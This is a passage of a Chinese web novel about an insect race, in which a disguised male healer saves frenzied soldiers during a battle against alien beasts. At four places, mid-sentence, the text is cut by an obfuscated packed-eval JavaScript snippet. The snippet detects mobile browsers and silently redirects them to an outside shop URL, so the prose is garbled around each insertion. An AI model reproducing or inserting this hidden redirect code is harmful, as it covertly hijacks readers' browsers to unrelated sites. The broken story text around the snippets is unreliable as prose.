希尔坐在一旁的椅子上,上衣被汗水洇湿,他抬头看了眼台上的雌虫。 前几天只看了一眼,钟鱼没太看清亚索的长相,只记得他有一双黑黑的大眼睛。 钟鱼扫视一圈,很快就看到了最符合的雌虫。 台上正跟另一只a级雌虫切磋的正是亚索。 没想到亚索竟然能跟a级雌虫打成平手。 克伊伸手在钟鱼面前挥了挥,“怎么?看呆了?” “你可别小看亚索,我虽然跟他一个等级,可我打不赢他。”更加打不赢a级雌虫了。 钟鱼看着台上的亚索,说道:“可是亚索的精神领域……” 显然这事儿大家心照不宣。 一旁的希尔难得主动开口,“这是没有办法的事情,所以亚索想在死之前多杀一些异兽。” 最好,是能光荣地死在战场上。 若说虫族的繁衍能说是病态,那异兽的繁衍就是变态了。 这些家伙没有科技、语言文字,更别说文化了,它们仿佛杀伤力强大的蛀虫一般,到处吞食能源和虫族,让帝国和联邦不堪其扰。 却又无可奈何。 异兽的繁殖能力几乎变态,他们是无性繁殖,且没有性别,只要有饱腹感便会产卵,一次可产近百枚卵,感到饥饿又会不要命地到处吞食。 有时候覆满鳞甲的身体被砍成两截了,上半身还在张口吃一旁的尸体呢! 所以自从虫族诞生以来,一直在与异兽作战,代代如此。 雌虫的战力虽然强大,一个低等级雌虫就可以单杀一只普通异兽,可还是耐不住这群异兽的繁殖能力太过强大。 历史上,虫族曾举族搬迁过数次,可不管搬到离异兽多远的地方,这群异兽总能浩浩荡荡地追过来。 倒不是它们故意追过来,它们还没有这种智商:) 而是在诸多星系中,其他种族的生命体远没有虫族这样的战斗力,基本上没过几十年就会被那伙异兽啃食殆尽。 周边星系上的能源和生命体消亡后,异兽没了食物来源,自然又凭着捕食本能,追上了虫族新搬迁的星系。 如此数次,虫族也没了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520856|202947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法子,只能停止搬迁,与异兽对战,不死不休。 钟鱼坐在台下看了很久,亚索甚至没有时间去看训练室的其他雌虫,更不会看到这其中的一位亚雌了。 从训练室离开之后,钟鱼心情更加沉重了。 希尔的话让他想起了怀特,顺着怀特又想起了索尼克的死。 谁说虫族没有情感呢? 他们世世代代与异兽对战,甘愿牺牲个体的生命以维系虫族社会的正常运转,又怎能不是荫蔽下一代呢? 回去的路上,钟鱼见到了形形色色的雌虫,有堪堪维持人型的d级雌虫,身体格外健壮的b、c等级雌虫,精神领域形如废墟的高级雌虫。 在垃圾星时,钟鱼总以为外面的世界会好很多,没想到也好不了多少。 伽什说得没错,这是雌虫的宿命。 这艘星舰很大,钟鱼很快在里面迷了路,墙上的铃声响起,过道里的雌虫都回到了休息室。 钟鱼一个人在七横八错的过道里走,他现在的视力很好,即便过道里的灯都熄了,不用借助光脑他也可以看清所有的障碍物。 也许是临近莱茵克星系的缘故,今夜的过道比来时更冷。 窗外依旧是漆黑一片,过道静默无声,整个星舰都没有任何机器运行的声音,仿佛它不是一架载具,而是一个小型星球。 在这静默中,钟鱼用精神力将皮靴裹住,顺着序列从休息室门前走过,脚下没有发出任何响声。 “唔……”倏地,钟鱼听到一声压抑地痛吟。 这声音被压得很低,若不是在这寂静的夜晚,即便是s级雄虫的耳力也未必能听清。 “啊——”短促地一声,很快就掩盖了下去。 难道…… 钟鱼面色一僵,顿了顿还是继续往前走。 也是,这星舰上还有其他亚雌呢,亚雌与雌虫交.配虽然只在垃圾星那样的低能源星系盛行,可其他星系也并非没有。 钟鱼刚走了几步,就意识到不对。 这声音有些耳熟,那是……舒勒的声音。 舒勒的精神领域差成这样,全靠着伽什调制的抑制剂才没有虫化,他不可能现在干这种事。 钟鱼很快意识到这是舒勒濒死时本能地痛呼。 他折返回那个小隔间门口,抬头看了眼上面的门牌。 ——隔离室。 原来舒勒这些天都待在隔离室,等待死亡的降临。 钟鱼没能将门推开,他让一丝精神力顺着缝隙钻进去将门锁打开,大步走了进去。 [宿主,901虽然给你隐藏了精神力波动,可是你如果用作精神力安抚的话,901无法隐藏,他们一定能看出来的。] ‘901,我的身体终究不是人类了,我的灵魂正与这具肉.体越来越契合,我无法眼睁睁看着他的生命在我的眼前流逝。’ ‘901,我能闻到他信息素里面的腐化,我能感受到他的绝望与恐惧,我不知道这是我的灵魂感知到的还是只是这具s级雄虫肉身。我不能当做什么都没有发生那样走掉。’ ‘901,我要救他。也许,s级雄虫的待遇没有那么糟糕,我只需要调整好自己的心态就可以了,毕竟s级是那么的珍稀呢。’ 15.第 15 章 狭窄的隔离室内,一个上身赤裸的强壮雌虫蜷缩在墙角,因为精神领域临近崩坏,他浑身泛红,身上也有不少伤痕。 指痕、划痕和咬痕。 钟鱼几乎无法将眼前这团生物跟白日那个笑容阳光的军雌联系起来。 该是怎样的疼痛呢?会比二次分化疼几倍呢? 钟鱼无法想象,他见到的所有雌虫,无一例外都十分能忍痛,他曾亲眼看见一个半虫化雌虫被尼斯克拧断了手臂,可那个雌虫一声未吭。 似乎是感觉到钟鱼的靠近,舒勒安静下来,他痛苦地喘息,过了片刻才转过脸迷迷糊糊地说道:“先别击毙我,我……我还能忍住——” 帝国从未有哪一个雌虫能在陷入狂暴虫化后幸存,但不到临近虫化的那一刻,没有虫族会向他们开枪,即便他们的死亡是必然。 而临近狂暴的雌虫不到最后一刻不会选择自尽,他们会用顽强的求生意志去对抗身体的本能,即便历史上从没有哪个虫族成功过。 这是雌虫的共识。 帝国和联邦一致提倡并鼓励雌虫这样做,因为一旦有雌虫在陷入狂暴虫化后还能恢复原状活下来,那意味着这将不再是无法破解的诅咒。 为此,虫族的每一个雌虫都甘愿用生命最后的极致痛苦来参与这场实验。 钟鱼沉默地看着舒勒紧闭的双眼,看着他脸上流淌的冷汗,他直视他的痛苦。 他当然要尊重舒勒的选择,假使舒勒成功了呢? 隔离室的隔音效果很好,钟鱼看着舒勒痛苦得将手指塞进嘴里咬断,然后四处翻滚。 浓稠的鲜血从舒勒的口中涌了出来,他的手掌血肉模糊,地板和墙面沾满了未干的血迹。 松木气味的信息素溢满整个房间,叫钟鱼有些无所适从。 “啊——”舒勒的理智慢慢消失,他的喊叫声很小,近乎气音。 “……杀了我……我……我控制不住了——”说着舒勒用尽最后的力气将虫化的双手朝心口抓去。 他现在已经是半虫化状态,脑袋上冒出了两根很短的黑色触须,脸上的口器轮廓若隐若现。 舒勒失败了。 意识到这一点之后,钟鱼立即动用精神力强行安抚,舒勒的嘴巴已经变成了黑色的口器,上面的血迹干涸,变成暗红色,看起来有些诡异。 好在钟鱼的基因等级足够高,舒勒的虫化情况很快就停止了,随着钟鱼手中精神力丝线的传输,舒勒慢慢恢复了原貌。 钟鱼松了一口气。 紧接着他将精神力探入舒勒一片焦黑荒芜的精神领域,s级的精神力无往不利,没有受到任何阻力就成功的将他精神领域的脏污扫清了大半,之后又细致地将里面杂乱的精神丝线理清。 这过程看起来很解压治愈,实际上极其耗费钟鱼的精神力。 彻底将舒勒的精神领域疗愈好之后,钟鱼靠在墙上轻微地喘息。 难怪陷入狂暴的雌虫只有死路一条,连他这个虫族最高等级的雄虫疗愈起来都费劲儿,更别说其他等级的雄虫了。 舒勒还只是一只c+等级的雌虫呢! 若是换做a级甚至尼斯克那样的s级雌虫,那可真是夭寿了。 不过这是钟鱼头一次尝试精神力疗愈,还不太熟练,也许之后多用几次效率会提高很多。 舒勒缩在角落里昏睡了过去,他本来这些天就被折磨得睡不着觉,现在身体一恢复,倒像是回到虫蛋中那样,久违地睡了个好觉。 钟鱼也感觉困乏不堪,他起身回房兀自睡下。 睡之前脑子里乱糟糟的,一直在想明天该怎么办,舒勒莫名其妙地痊愈了,身体还恢复到鼎盛状态,他们一猜就知道是雄虫精神力了。 而雄虫跟亚雌身形和长相都有几分相似,他又是才到星舰上来的,很快他们就会锁定他的。 然后他又跟在垃圾星一样了。 第五军团的雌虫肯定会把他像国宝一样带回中央星的。 他……他还能逃吗? 莱茵克是帝国的边境星系,不说经常有异兽攻击,能源和食物比垃圾星还稀缺…… 算了,事情已经发生了,再想这些也没有太大意义了。 脑中思绪翻飞,钟鱼突然又想起901之前说的异能,尼斯克的异能是瞬移,埃布尔的异能是什么呢? 其他s级虫族除了伽图的治疗系异能整个星网都知道之外,其余的s级虫族的异能星网上都没有记录,显然,异能是s级虫族的秘密。 那他的异能会是什么呢? 钟鱼的思绪最终还是敌不过精神力消耗带来的疲倦,熟睡前他的脑中还在想着狂暴虫化的事儿。 一觉醒来,钟鱼神色清明。 ‘901,有s级的亚雌吗?’ [经901搜索,目前帝国有十几位s级亚雌。] 钟鱼舒缓一笑,拍了拍脑门,“我就是s的亚雌啊,我的异能就是精神领域疗愈。” [啊?可是宿主,你的异能现在还没有彻底觉醒。] ‘我说是就是,他们只能检验基因等级,又检验不了异能,而且你的隐藏性别权限他们检验不出来的。’ 果然睡了一觉,脑子好使不少。 他现在可不就是一个拥有精神领域疗愈异能的s级亚雌嘛。 “到莱茵克了!” “元帅来了!” 钟鱼听到外面吵吵嚷嚷的,便起身走了出去。 时隔半月,钟鱼再次见到了第五军团的上校、帝国的元帅索伊尔。 他的身后总跟着一个黑壮军雌,那是他的副官佩斯。 一打开门钟鱼就感觉到他们的视线齐刷刷地转移到他身上,索伊尔居高临下地看着钟鱼,说道:“他就是克伊带回来的亚雌?” 伽什点了点头,“元帅,克伊少尉让他跟着我学医术,之后当第五军团的军医。” 索伊尔颔首,偏头问钟鱼,“你怎么救的那个雌虫?” “元帅,您是说舒勒吗?”钟鱼将打好的腹稿说了出来,“那是我的异能,我的基因等级是s。” 话音刚落,四周议论纷纷。 “什么,居然是s级亚雌?” “克伊少尉这次可捡到宝了!” “竟然还有这样的异能?” “什么样的异能没有?” 佩斯干咳了一声,周遭静默下来。 索伊尔又问:“你自愿留在第五军团,不去赫利俄斯?” 看来这是克伊的说辞,钟鱼点了点头,“元帅,我只想待在这儿,跟伽什好好学习怎么当一名合格的军医。” “你想好了?s级在赫利俄斯也会得到重用的,又何必跟着军团跑?” 克伊站在门口望着他,希尔跟在身后,只露出半个脑袋来。 钟鱼看见了希尔那双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530878|202947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 血红的眼睛。 希尔的精神领域很不稳定,显然,他已经被这种痛苦折磨了一段时日了。 钟鱼收回视线,回答道:“我的异能在军队更有用处,我愿意留在第五军团。” 倏而,索伊尔露出一个笑容来,黑色的头发在灯光下泛着些微绿色光泽,黑色眼眸沉如深渊。 索伊尔伸出手,“s级亚雌能加入,是我们第五军团的荣幸。” 钟鱼与他伸手相握,“元帅,能加入第五军团,也是我的荣幸。” 索伊尔率先下了星舰,其他雌虫按照队列紧跟其后。 莱茵克果然不愧是战争星系,一下星舰,钟鱼就见到了不少异兽残骸。 钟鱼跟着克伊和希尔看其他雌虫开采能源。 “不是说莱茵克能源匮乏吗?怎么还在这儿开采?” 克伊蹲下去捻了捻焦黄的土块,“这个星球有异兽入侵过,那肯定就有能源,所以我们过来找他们的入口。那群家伙很会隐藏,不过我们找到能源最多的地方就能发现他们了。” “然后将他们一举歼灭!” 意思是……这个星球上还有活着的异兽? 异兽没有巢穴观念,哪里有食物他们就会在哪里繁衍,直至那个星球变成一颗没有能源和生命体的荒星。 克伊将指尖的尘土吹散,冷笑道:“这次元帅亲自出马,不管这群东西繁殖了多少,通通只有死路一条。” ‘索伊尔真有这么厉害吗?他是什么等级?’ [据查验,索伊尔虽然基因等级是a+,但数次与s级雌虫对战都是平手,从未有雌虫将他打败过,据星网上显示,不管是多么凶险的战役,索伊尔都能平安回归。] 克伊见钟鱼神思不属,以为他是被异兽给吓着了,他笑着安抚道:“布莱斯,你放心啦,我们这次的任务很简单,就是将莱茵克上的异兽清除掉。你先回星舰上,到时候还得给我们治疗呢!” “这伙异兽还没繁殖多久,笨得很呢!” 钟鱼见自己帮不上什么忙,就坐在一旁的土堆上玩了会儿光脑。 光脑自然没什么可玩的,不管多少年过去了上面的东西都一个样儿。 不过,虫族的文化虽然落后,军事和科技却十分发达。 所以钟鱼打开光脑后就一直在军事频道搜索第五军团相关的视频和直播回放。 一点开第五军团的词条就出现了索伊尔大图,钟鱼顺着点开播放。 查阅了半天,钟鱼人都看恍惚了。 难怪他们都叫索伊尔元帅,原来索伊尔是帝国的军事最高执政官,帝国唯一的元帅。 第五军团相当于他的亲卫,实际上其他军团的上校都属于索伊尔的下级。 索伊尔是帝国的一个传奇人物。 他出身平民,靠着多年实战等级晋升至a+,一步步从普通士兵成为帝国唯一的元帅。 更传奇的是,十几年前,身为第五军团上校的索伊尔犯了大罪被流放至垃圾星,没几年又被虫帝无罪释放,回到了第五军团。 之后索伊尔参加了无数次攻打异兽的战役,即便全军覆没,索伊尔都能死里逃生。 他简直成了被虫神之子! 就这样他带领着军队四处剿杀异兽,一次次军功累积下来,索伊尔最终成了帝国的元帅。 即便成了元帅,索伊尔仍旧到处征战,鲜少在中央星久住。 16.第 16 章 大多是直播回放都太过血腥,钟鱼了解个大概就关掉了光脑界面。 “布莱斯。” 听到有人叫自己,钟鱼抬头看去,再次见到了那张笑脸。 钟鱼被这笑容一晃神,他从未见过其他雌虫像他这样爱笑。 “舒勒,”钟鱼上下打量了一下,“你现在彻底恢复了,不用休息几天吗?” 舒勒只是摇头,“布莱斯,昨晚是你吗?” 钟鱼感到奇怪,不过还是点了点头。 “是我,那是我的异能。” 舒勒躬着腰,低声说道:“我昨天看到你的脸了,我还以为你是雄虫呢!” 钟鱼仰头看着舒勒棕色的眼睛。 “不过怎么可能呢?原来你是s级,我们都看出来你基因等级很高了,只是没想到会这么高。” 在虫族,外貌往往与基因等级形成正比。 钟鱼张口欲说,倏地,从地下传来一声吼叫,钟鱼感觉到脚下的震颤。 “是异兽!” “找到了!” 众雌虫欢呼,希尔带头钻进了地道中,克伊领着其他雌虫跟在他身后。 舒勒忙站起身跟了过去。 那洞口看着不大,却很深,陆陆续续跳了不少军雌下去,钟鱼只能听到异兽此起彼伏的吼叫声。 一时地动山摇,在枪击声中钟鱼径直朝星舰跑去。 地面的裂缝越来越大,叫人无处落脚,钟鱼一脚踩进裂缝中,连忙手肘撑地将腿拔了出来。 难怪伽什不下星舰,原来这个星球上全是异兽! 钟鱼顾不得其他,只拼命朝星舰下方跑去,不知是不是他的错觉,那裂缝像是追着他一般,他跑到哪儿就跟着裂到哪儿。 又是一声吼叫,这次的吼叫声中夹杂着许多枪声,紧接着钟鱼后方的地面裂开,从下面钻出一张血盆大口来。 这个星球没有山,能源全部藏在地下,所以这些异兽闻着味儿全钻到下面去了。 地下已经被他们吃空了,这些异兽受到军雌们的攻击,争先恐后地钻出地面。 感受到紧随在后的鼻息,钟鱼刚想反手用精神力攻击,就看见朝他飞过来的希尔。 是的,此时的希尔背上有一对鲜红的网状翅膀,翅基处有暗红的半块。 他的翅膀并不多么绚丽,不过倒是很符合他的性格。 希尔单手箍住钟鱼的腰,朝钟鱼身后的异兽连开几枪,“你怎么还在这儿?” “我没想到会这么危险。” 方才克伊他们都在留意异兽的动静,自然没空去管他这个亚雌了。 异兽的身体庞大,面对这种大规模的对战时,军雌都会选择虫化状态去攻击。 放眼望去,全是体型巨大的怪物,大多数完全虫化的雌虫并不会比异兽好看多少。 尤其是甲虫种类的雌虫。 钟鱼根本就分不清哪个是克伊了。 希尔飞到星舰下,将钟鱼放在梯子上,异兽的声音响彻天际,希尔在钟鱼耳边大声说道:“异兽太多了,一时半会儿杀不完,布莱斯,你先回星舰。” 不等他回答,希尔就按了一下梯子边缘的按钮,很快钟鱼就回到了星舰上。 钟鱼瘫坐在门后喘息,想着方才的情景他还是有些后怕。 好在这些异兽没有翅膀,不然就追过来了。 “呵。” 不出意料,是伽什。 他倚靠在车舱的节点处,不知看了他这狼狈样多久了。 钟鱼仰头笑了一下,“伽什,难怪你们都不下去。” 除了伽什,第五军团这次带过来的雌虫中还有几只亚雌,不过他们是主管器械方面的,钟鱼很少见到他们。 伽什又笑了一声,这次讽刺意味少了些。 “你说你一个亚雌跑下去干什么,给异兽当开胃菜?” “要不是希尔中尉,你可就成了帝国唯一一个被异兽吃掉的s级雌性了。” 钟鱼站了起来,隔着窗户看向地面。 如果还有地面:) 这个星球上大半地面都已经坍塌了,只剩一个个巨大的坑,虫化的雌虫在里面跟异□□战。 近身搏斗时枪械的威力大大减弱,虫化的雌虫只能用利爪和沾满毒液的口器去攻击。 场面十分血腥,到处都是异兽绿色的血液,看着格外恶心。 钟鱼再一次埋怨自己过于灵敏的嗅觉,即便隔着这重重阻碍,他还是能闻到这刺鼻的腥臭味儿。 “这么多异兽,他们能胜利吗?” 异兽的生命力比雌虫还要顽强,没有将它们的脑中的兽核取出来的话,它们就会复活。 兽核并没有太大的实用价值,在虫族一般只是作为装饰品,少数质量好一些的兽核有些许抑制狂暴的作用,它们通常被磨成粉末用以调制抑制剂。 显然地面上那群异兽还不成气候,几只军雌撕开它们的脑袋,挖出兽核一股脑地往空中丢。 优质的兽核会漂浮在空中,而普通的兽核只会跟玻璃珠子一样掉到地上。 伽什顺着钟鱼的视线,看了眼几颗漂浮在半空中的兽核,说道:“有索伊尔在,就能凯旋。” 钟鱼沉默。 舱门响了几声,梯子上运了十来个重伤的军雌上来,有几个伤势过重无法恢复原状,只能躺在坑中胸口缓慢地起伏。 伽什搀着一个军雌躺在病床上,“布莱斯?” “伽什,下面还有好几个雌虫,他们体型太大了上不来。” 伽什眉头一皱,“你疯了?他们虫化陷入狂暴了怎么上来?” “伽什,你忘记了吗?我的异能可以救他们。” 伽什迅速地给床上的雌虫包扎伤口,钟鱼也学着给地上的几个军雌包扎。 简单的包扎之后,钟鱼打开了舱门。 “布莱斯,收起你那无用的善良,不管什么战役,都会有不少军雌因伤势过重陷入狂暴而死亡。从古至今,数都数不清死了多少了,难道你都要去救吗?” “异能?你以为异能是永动机吗?” 钟鱼回头看了他一眼,“能救一个是一个吧,伽什,你相信我,我有自保的能力的。” 说完钟鱼扶着梯子到了地面。 ‘901,我的异能还没觉醒吗?’ ‘如果能选的话,我希望我的异能可以帮助他们。’ [宿主,你不想回去吗?] ‘想,我当然想回去,但是回不去了,不是吗?’ [宿主,你的异能在昨晚觉醒了,宿主现在就可以试试。] 钟鱼有些兴奋地闭着眼睛去感受异能波动。 温和,舒缓,像是泡在温泉中一般。 钟鱼睁开眼睛时,手心已经聚拢了一团清水。 这便是他的异能吗? 水?还是温水?有什么用处呢? 他将手指微微抬起,手心的水分散开来,竟然像精神力丝线那般旋绕在他的指尖。 试一试就知道了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534140|202947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钟鱼的脚边趴着一只巨大的灰色跳蛛,它的表层在光线下泛着金属光泽,浑身毛茸茸的,还有两对漆黑的大圆眼睛。 不知怎么的,钟鱼想起了亚索的那双眼睛。 跳蛛的几条前腿全部被异兽咬断了,它剩余的几只腿轻轻地抽搐,长满灰色绒毛的背部随着腹部微微起伏。 钟鱼试探性地叫了一声“亚索”。 突地,原本趴在地上的跳蛛一眨眼就跳到了钟鱼身上,钟鱼被它的体重推倒在地。 “你真的是亚索?”相比上次埃布尔虫化时的畏惧,钟鱼现在淡定多了。 他安抚地拍了拍灰色跳蛛几根细细的节肢,“亚索,你现在还有意识是吗?你还没有陷入狂暴?” 见它点了点脚尖,钟鱼松了口气。 临近狂暴状态要好办些,他原本是想直接用精神力疗愈的,可是这里太过开阔没什么遮掩,亚索又还有神智,钟鱼只能动用异能了。 “不用害怕,我试试用我的异能帮你。” 说着钟鱼伸手将指尖的水柱朝亚索探去,水柱一接触到亚索,顿时化作丝线将它团团包围起来。 最后,竟然密集得像是虫茧一般。 钟鱼从亚索的腹部爬了出来,看着眼前巨大的水球,钟鱼欣喜若狂。 居然真的有效果,亚索的精神领域正在恢复! 只是相比精神力疗愈速度要慢很多,但钟鱼一点儿都不觉得疲倦,这意味着他一次性可以救好几个雌虫。 想明白之后钟鱼也不再耽搁,连忙从地上爬了起来,朝另外几个虫化雌虫跑去。 很快,半空中就多了五六个水球,钟鱼虽然感觉到有些疲惫,但跟昨晚的精神力消耗还是有很大的区别。 钟鱼感受到体内异能消耗得差不多了,眼下又新增了两个雌虫。 他们两个伤得太重,他们围攻的那只异兽见他们倒在地上,张嘴就想把他们叼到嘴里去。 异兽和虫化的雌虫都太过庞大,钟鱼趁乱甩了好几道精神力攻击,可并没有太多作用,反而差点暴露自己。 这群家伙果然皮糙肉厚。 那只异兽受到攻击这才看到钟鱼,它笨拙地转过身体张着大嘴朝钟鱼走来。 钟鱼惊了一跳,连忙朝梯子那边跑去,可这异兽虽然动作迟缓,却因体型过大,它走一步钟鱼就得跑几十步。 这样下去不是办法。 钟鱼朝四周瞥了一眼,其他雌虫都忙着组队击杀异兽,他下来这么久,没有一个雌虫注意到他。 想到这里,钟鱼朝星舰下方的死角跑去。 这儿正处于星舰下方,在星舰上看不到,旁边又堆积了四五个异兽尸.体,可以有效遮挡。 异兽并没有什么智商,见钟鱼往哪儿跑,它便跟着往哪儿走。 终于,将它引到了目的地。 钟鱼伏在近旁的异兽尸.体上,动用精神力朝它脑袋上攻去。 嘶吼声响彻大地,“砰”地一声,这只异兽巨大的身体倒在了地上,扬起阵阵尘土。 没想到蓄力的精神力攻击力这么强,这只异兽脑袋直接裂开了。 等了一会儿,确定它不动弹了,钟鱼才大着胆子走到它的头旁边,从地上捡起一块沾着绿色粘液的灰色鳞片,爬到它的脑门上扒拉了两下。 “咦?怎么没有兽核?” 不是说异兽的兽核相当于心脏吗?怎么会没有呢? “它的兽核被你打碎了。”身后传来一道格外低沉悦耳的声音。 17.第 17 章 钟鱼身体一僵。 “元帅。” 好在901隐藏了他的精神力波动,雌虫感知不到便只会认为这是他的异能。 毕竟如今整个虫族都没有什么东西可以如此完美的掩盖雄虫身份。 索伊尔环顾四周,扫了眼半空中的巨大水球,朝钟鱼说道:“布莱斯,这就是你的异能吗?” 见钟鱼点头,索伊尔低声道:“你确实很适合当军医。” 跟在他身后的佩斯跟着颔首。 虽然没有严格的理论依据,不过历史上诸多s级虫族的异能大多与他们自身的性格和经历有关。 享有盛名的九皇子格西亚·维斯便是如此。 他的异能星际清楚地记载在史料上,只因为他觉醒异能后的每一天几乎都在给雌虫进行精神力疗愈。 格西亚是个很奇怪的雌虫,他多愁善感又沉默寡言,星网上曾有不少民众分析,格西亚能觉醒这种异能正是因为他的这一性格。 而他的这一性格小半是天生,大半是后天经历造就。 格西亚·维斯幼年美满幸福,刚孵化没几年却因动乱被星盗偷走,直至二次分化后才重新回到赫利俄斯。 这中间的十余年,格西亚见到了太多低级雌虫的苦难,这也让他形成了这般与众雌虫违和的性格。 因而,一定程度上,性格和经历会影响异能。 布莱斯的异能又何尝不是受他自身性格和经历影响呢? 佩斯看着眼前亚雌高挑却单薄的身形,心中慨叹。 这般景象不难想象方才发生了什么。 说完索伊尔就领着一队雌虫加入了战斗之中,佩斯紧随其后。 钟鱼又用最后的异能将那两只幸存的雌虫包裹住,这才有了休息的间隙。 他的异能疗愈速度缓慢,钟鱼便守在一旁观看他们围攻这群异兽。 索伊尔加入之后,局势很快逆转,巨大的土坑慢慢被异兽的尸.体填平。 钟鱼现在可算是理解他们对索伊尔的敬佩了。 他分明没有s级,可不需要虫化便能徒手掰开异兽布满鳞甲的脑袋,简直就是行走的异兽杀手。 就是尼斯克那样厉害的s级雌虫,也做不到这样。 没两天,这个小星球上的异兽就被屠杀殆尽,雌虫虽有死伤,但数量并没有太多。 这些天每天都有重伤陷入狂暴的雌虫,钟鱼上次异能消耗太过,导致现在完全使用不了异能,他便悄悄地用精神力进行治疗。 好在没有雌虫察觉到异常,一回到星舰上,钟鱼就被那群排队包扎伤口的雌虫簇拥到了病床上。 钟鱼不太自在地靠在枕头上,“你们也不用这么客气吧?” 亚索从后面挤了进来,一双大眼睛黑亮亮的,“布莱斯,你实在是太厉害了!你救了我,救了我们!” 看来那只灰色的大跳蛛果然是亚索。 钟鱼眉眼舒展,温和地笑道:“谁叫我是s级亚雌呢。” 众雌虫听了这话都笑了起来。 伽什冷淡的声音传到耳边,“好了,尊贵的s级大人,要劳烦您包扎伤口了。” “遵命!”钟鱼迅速将床位让给了一个断了手臂的雌虫。 经此一役,钟鱼比从前更受欢迎了。 就连修斯这种a级雌虫也会特意跑来治疗室,只为能在钟鱼空闲时闲聊几句。 钟鱼并不觉得反感。 之前因为长得好看又肖似高级雄虫,因而刚到治疗室大受欢迎,可钟鱼并不感到多么的欣喜,也许是他在垃圾星见过太多雌虫与亚雌交.媾场景产生的心理抵触。 而这次之后,却完全不一样了。 那时候治疗室的门口也常守着一群雌虫,他们多是盯着他的脸看,有的还会面露垂涎之色。 现在他们将钟鱼当成了伙伴、战友,一只真正的亚雌。 所以,闲暇时钟鱼也乐于与他们相处。 他仿佛真的成了一个亚雌,这让他短暂的将过往忘却。 这次莱茵克任务相当顺利,很快星舰就开始返程回赫利俄斯了。 听到这个消息时,钟鱼有些忐忑。 中央星会是什么样子的呢? 一定会比垃圾星好很多很多吧? 返程途中,钟鱼陆陆续续的用异能疗愈了十几位军雌,初次异能觉醒便过多消耗,导致他现在的异能治疗效率大大降低。 个人的力量终究太过渺小。 第五军团那么多雌虫,他就是每天不休息,用异能和精神力轮流使用也要疗愈大半年,更何况整个军部甚至帝国了。 钟鱼放弃心中那个荒诞的念头。 所以,伽什从名单中选了几个精神领域严重一些的雌虫让钟鱼疗愈。 这段时间钟鱼忙碌却充实,他每天用异能和精神力疗愈三四个雌虫,休息的时候就在一旁看伽什调制各种药剂,自己也上手调了几种,不过效果不太理想。 睡前钟鱼还会在光脑上查阅一些资料。 当然,虫族文字用得很少,大多数资料都是没有字幕的视频和直播回放。 这个过程无疑是特别枯燥乏味的,可到处筛选、屎里淘金,倒也能学到不少有用的知识。 众所皆知雌虫第一关心繁衍,第二关心战争。 星网上的热度基本被这两个板块的内容所垄断。 虫族不管什么性别,骨子里都十分慕强,因而虽然异能是s级的秘密,但还是有不少雌虫会分析异能的使用、觉醒以及恢复。 钟鱼这些天搜索的主要是这些视频。 虽然里面大多数都是没有实践的理论分析,但也有极少数是真正的s级虫族现身分享。 里面粉丝量最大的就是帝国唯一的s级雄虫图伽阁下。 他在这几十年间陆陆续续发布了不少异能以及精神力使用的视频。 而图伽的评论区也干净得很,里面没有像其他视频评论区那样充斥着血腥、黄暴言论。 低级雌虫滚进异兽嘴里:图伽阁下终于又发布新的视频了,再问一下,图伽阁下以后会开直播吗? 这条评论很平常,但在星网是却算少见。 而图伽的视频下面基本都是这类言辞的评论。 钟鱼挑了挑眉毛,点开一楼的头像。 跟他的头像和名字一样,这个雌虫的主页里全是异兽战场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537124|202947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直播回放和他自己的一些训练视频。 很明显,这是一只傲慢的高等级军雌。 视频乱糟糟的,只能看到模糊的肌肉和汗水,完全看不见脸,直播回放也全是虫化状态的雌虫和流着绿色粘液的异兽。 他的评论区全是他和网民的互骂。 [高级雌虫又怎么样,还不是会狂暴死掉。] ——你这只低级雌虫都活不到精神领域崩坏的年纪。 [这个军雌怎么还没死?] ——没有我们这些军雌,你们这些低级雌虫早就变成异兽的屎了。 [看你那个样子,应该是要陷入狂暴了吧?我在赫利俄斯等着这一天早日来临。] ——虫屎,等我陷入狂暴,你也快虫化了! 一时钟鱼有些哭笑不得,看来图伽评论区里的雌虫还是那一批人,只是他们在s级雄虫面前克制住了自己。 